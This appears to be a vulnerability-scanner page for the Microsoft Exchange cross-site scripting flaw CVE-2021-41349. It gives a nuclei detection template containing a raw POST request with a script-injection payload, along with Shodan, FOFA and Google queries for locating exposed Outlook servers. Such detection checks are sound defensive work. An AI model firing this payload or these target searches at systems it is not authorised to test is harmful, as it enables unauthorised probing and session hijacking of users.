Microsoft Exchange Server Pre-Auth POST Based Cross-Site Scripting

mediumseverity

6.5CVSS score

93.5%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Microsoft Exchange Server is vulnerable to a spoofing vulnerability. Be aware this CVE ID is unique from CVE-2021-42305.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the targeted user's browser, potentially leading to session hijacking, data theft, or other malicious activities.

Fix

Apply the latest security updates provided by Microsoft to mitigate this vulnerability.

How to confirm it

Send: POST /autodiscover/autodiscover.json
Positive when: contains "alert(document.domain);" and "a=\"\"" AND contains in header "text/html" AND not contains "A potentially dangerous Request.Form value was detected fro…" AND status 500

Run it with nuclei: nuclei -id CVE-2021-41349 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-41349

info:
  name: Microsoft Exchange Server Pre-Auth POST Based Cross-Site Scripting
  author: rootxharsh,iamnoooob
  severity: medium
  description: Microsoft Exchange Server is vulnerable to a spoofing vulnerability. Be aware this CVE ID is unique from CVE-2021-42305.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the targeted user's browser, potentially leading to session hijacking, data theft, or other malicious activities.
  remediation: |
    Apply the latest security updates provided by Microsoft to mitigate this vulnerability.
  reference:
    - https://www.microsoft.com/en-us/download/details.aspx?id=103643
    - https://github.com/httpvoid/CVE-Reverse/tree/master/CVE-2021-41349
    - https://nvd.nist.gov/vuln/detail/CVE-2021-41349
    - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-41349
    - https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-41349
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2021-41349
    epss-score: 0.93497
    epss-percentile: 0.99841
    cpe: cpe:2.3:a:microsoft:exchange_server:2013:cumulative_update_23:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: microsoft
    product: exchange_server
    shodan-query:
      - vuln:cve-2021-26855
      - http.favicon.hash:1768726119
      - http.title:"outlook"
      - cpe:"cpe:2.3:a:microsoft:exchange_server"
    fofa-query:
      - title="outlook"
      - icon_hash=1768726119
    google-query: intitle:"outlook"
  tags: cve,cve2021,xss,microsoft,exchange,vkev,vuln

http:
  - raw:
      - |
        POST /autodiscover/autodiscover.json HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        %3Cscript%3Ealert%28document.domain%29%3B+a=%22%3C%2Fscript%3E&x=1

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'alert(document.domain);'
          - 'a=""'
        condition: and

      - type: word
        part: header
        words:
          - 'text/html'

      - type: word
        negative: true
        words:
          - "A potentially dangerous Request.Form value was detected from the client"

      - type: status
        status:
          - 500

References

Use this check only on systems you are authorised to test. Where the data comes from